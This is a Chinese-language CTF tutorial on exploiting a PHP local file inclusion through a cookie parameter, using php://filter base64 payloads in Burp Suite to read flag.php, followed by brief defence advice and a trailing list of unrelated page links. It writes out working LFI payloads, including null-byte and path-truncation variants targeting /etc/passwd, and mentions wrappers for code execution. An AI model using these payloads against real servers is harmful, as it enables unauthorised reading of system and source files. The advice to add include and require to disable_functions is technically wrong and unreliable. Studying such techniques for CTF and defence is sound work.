当前位置: 首页 > news >正文

CTF实战:如何用PHP伪协议绕过文件包含漏洞读取flag.php(附Burp Suite操作截图)

CTF实战:PHP伪协议与Burp Suite组合拳破解文件包含漏洞

在CTF竞赛和Web安全测试中,文件包含漏洞(LFI)是最常见的漏洞类型之一。这类漏洞往往由于开发者对用户输入参数过滤不严,导致攻击者可以包含服务器上的任意文件。本文将从一个真实的CTF题目出发,手把手教你如何利用PHP伪协议配合Burp Suite工具,一步步读取flag.php文件内容。

1. 漏洞环境搭建与初步分析

首先我们需要理解题目提供的环境。访问目标网站时,页面显示以下关键信息:

Hi,EveryOne,The flag is in flag.php Notice: Undefined index: language in /var/www/html/index.php on line 9

这段信息透露了两个重要线索:

  1. 目标flag存储在flag.php文件中
  2. 网站存在一个未定义的language变量,且网站根目录为/var/www/html/

查看页面源代码,我们发现关键的PHP代码段:

$lan = $_COOKIE['language']; if(!$lan) { @setcookie("language","english"); @include("english.php"); } else { @include($lan.".php"); }

漏洞点分析

  • 代码直接使用$_COOKIE['language']作为文件包含参数
  • 未对用户输入的language参数进行任何过滤
  • 自动添加.php后缀,但我们可以通过伪协议绕过这个限制

提示:在实际CTF比赛中,这类信息泄露往往能大大降低解题难度,因此要养成仔细查看页面源码和错误信息的习惯。

2. PHP伪协议深度解析

PHP提供了多种伪协议(Wrapper),可以让我们以特殊方式处理文件流。在文件包含漏洞利用中,最常用的是php://filter协议。

2.1 php://filter协议工作原理

php://filter允许我们在文件内容被读取或写入时应用各种过滤器。基本语法结构为:

php://filter/[过滤器链]/resource=[文件路径]

常用过滤器包括:

  • convert.base64-encode:将文件内容Base64编码
  • convert.base64-decode:Base64解码
  • string.rot13:ROT13编码
  • string.toupper/string.tolower:大小写转换

2.2 为什么需要Base64编码

当我们尝试直接包含flag.php时,PHP会执行其中的代码而非显示源码。如果flag.php内容如下:

<?php echo 'FLAG{THIS_IS_THE_FLAG}'; ?>

直接包含只会执行echo语句,而我们需要的是查看文件原始内容。Base64编码可以:

  1. 避免PHP代码被执行
  2. 确保特殊字符不会破坏响应结构
  3. 方便传输二进制文件内容

3. 实战操作:Burp Suite拦截与利用

现在我们将使用Burp Suite工具实际利用这个漏洞。以下是详细步骤:

3.1 配置Burp Suite代理

  1. 启动Burp Suite,确保Proxy拦截功能开启
  2. 配置浏览器使用Burp作为代理(通常为127.0.0.1:8080)
  3. 访问目标网站,在Burp中捕获请求

3.2 构造恶意请求

捕获到的原始请求可能如下:

GET / HTTP/1.1 Host: target.com Cookie: language=english ...

我们需要修改Cookie中的language参数,使用伪协议构造payload:

language=php://filter/convert.base64-encode/resource=/var/www/html/flag.php

3.3 发送请求并分析响应

发送修改后的请求,服务器响应会包含flag.php的Base64编码内容。在响应中查找类似这样的字符串:

PD9waHAgZWNobyAnRkxBR3s0M19XNTNfRDNfUjM1X0YwUn0nOyA/Pg==

使用Burp Suite的Decoder模块或在线工具解码这个Base64字符串:

echo "PD9waHAgZWNobyAnRkxBR3s0M19XNTNfRDNfUjM1X0YwUn0nOyA/Pg==" | base64 -d

解码后将得到flag.php的原始内容:

<?php echo 'FLAG{43_W53_D3_R35_F0R}'; ?>

4. 进阶技巧与防御方案

4.1 其他有用的伪协议

除了php://filter,还有几个值得了解的伪协议:

协议用途示例
php://input读取POST原始数据可执行任意PHP代码
data://数据流封装类似php://input但更灵活
expect://执行系统命令需要特定配置

4.2 防御文件包含漏洞

作为开发者,应该采取以下措施防止这类攻击:

  1. 白名单验证:只允许包含预定义的文件
$allowed = ['english', 'chinese']; if(in_array($lan, $allowed)) { include($lan.'.php'); }
  1. 路径固定:避免用户控制完整路径
include('./lang/'.$lan.'.php');
  1. 禁用危险函数:在php.ini中设置
disable_functions = include,require,include_once,require_once
  1. 关闭错误显示:避免路径信息泄露
ini_set('display_errors', 0);

5. CTF实战中的变种与应对

在实际CTF比赛中,文件包含题目往往会有各种变种限制。以下是几种常见情况及其解决方案:

5.1 后缀固定无法绕过

如果代码强制添加.php后缀:

include($lan.".php");

可以尝试使用空字节截断(PHP<5.3):

language=/etc/passwd%00

或路径长度截断:

language=/var/www/html/flag.php/./././././././././././.

5.2 文件内容被处理

如果包含的文件内容会被处理,可以尝试双重编码:

language=php://filter/convert.base64-encode/convert.base64-encode/resource=flag

5.3 有限字符集

当只能使用特定字符时,可以利用PHP的字符串转换特性:

language=pHp://FilTer/convert.base64-encode/resource=flag

在真实渗透测试中,遇到文件包含漏洞时,除了读取源码,还可以尝试:

  • 查看服务器配置文件
  • 读取日志文件获取敏感信息
  • 结合文件上传漏洞获取shell

掌握这些技巧后,你会发现文件包含漏洞就像一把瑞士军刀,能够在各种场景下发挥意想不到的作用。记得在实际测试中要遵守法律法规,只在授权范围内进行操作。

http://www.jsqmd.com/news/558630/

相关文章:

  • Qwen3-8B推理加速教程:Docker+vLLM快速部署,消费级GPU就能跑
  • 实测分享:用Miniconda-Python3.10镜像快速创建独立开发环境
  • 仅限首批Early Adopter的向量化性能调优清单(含JIT编译日志分析+VectorShape匹配矩阵+硬件特性探测工具)
  • 为什么说AB3DMOT是3D目标跟踪的“朴素贝叶斯”?从卡尔曼滤波与匈牙利算法聊算法设计的返璞归真
  • AIVideo在YOLOv8目标检测视频分析中的应用实践
  • 2026年知名的岩棉保温装饰一体板/A 级防火一体板/金属氟碳漆保温装饰一体板工厂直供推荐 - 品牌宣传支持者
  • ENVI 5.3地表温度反演全流程详解:从Landsat8数据到实际应用
  • Kubernetes 多集群管理最佳实践
  • 智能缠论量化交易实战指南:5大核心功能深度解析
  • Phi-3-Mini-128K辅助设计:SolidWorks模型参数说明文档自动生成
  • 2026年知名的工厂食堂承包/食堂承包托管/食堂承包/食堂承包团餐源头厂家推荐几家 - 品牌宣传支持者
  • 老旧Windows 7系统硬件适配难题的技术解决方案:开源社区驱动的扩展支持包
  • MySQL 中 DATETIME 与 TIMESTAMP 的实战选型指南:从存储原理到场景适配
  • 【Python内存管理终极指南】:20年专家亲授智能内存优化策略,90%开发者忽略的5个致命陷阱
  • 【UE4_蓝图】用TileView快速搭建可交互背包UI系统
  • ctf web的本质
  • Pixel Mind Decoder 效果惊艳展示:多语言文本情绪解码对比
  • VibeVoice-Realtime-0.5B实战体验:边生成边播放的流式语音合成
  • AI编程专栏(三) - Cursor 高级技巧与实战优化
  • 文脉定序入门必看:BGE-m3多粒度(multi-granularity)重排序机制解析
  • 简单三步:用Ollama部署translategemma-27b-it图文翻译模型,支持图片文字识别
  • nanobot超轻量级AI助手:5分钟快速部署与QQ机器人接入指南
  • Waymo Open Dataset Docker部署:环境配置与容器化最佳实践
  • RAG——2.嵌入技术Embedding
  • 多模态交互概念展示:LFM2.5-1.2B-Thinking-GGUF如何理解并处理图像描述文本
  • 多模态自动化:OpenClaw+Qwen3-32B-Chat处理图文混合任务
  • 【GD32】---- 从零构建串口调试框架:重定向printf的工程化实践
  • 2026川南继电保护培训:危化作业培训、叉车司机培训、工业锅炉司炉培训、快开门式压力容器培训、有限空间作业培训选择指南 - 优质品牌商家
  • 时序检测增强:结合LSTM优化DAMOYOLO-S对视频流的目标跟踪
  • 2026年知名的芝麻黑墓碑/芝麻黑板材/芝麻黑套碑/芝麻黑花岗岩推荐公司 - 品牌宣传支持者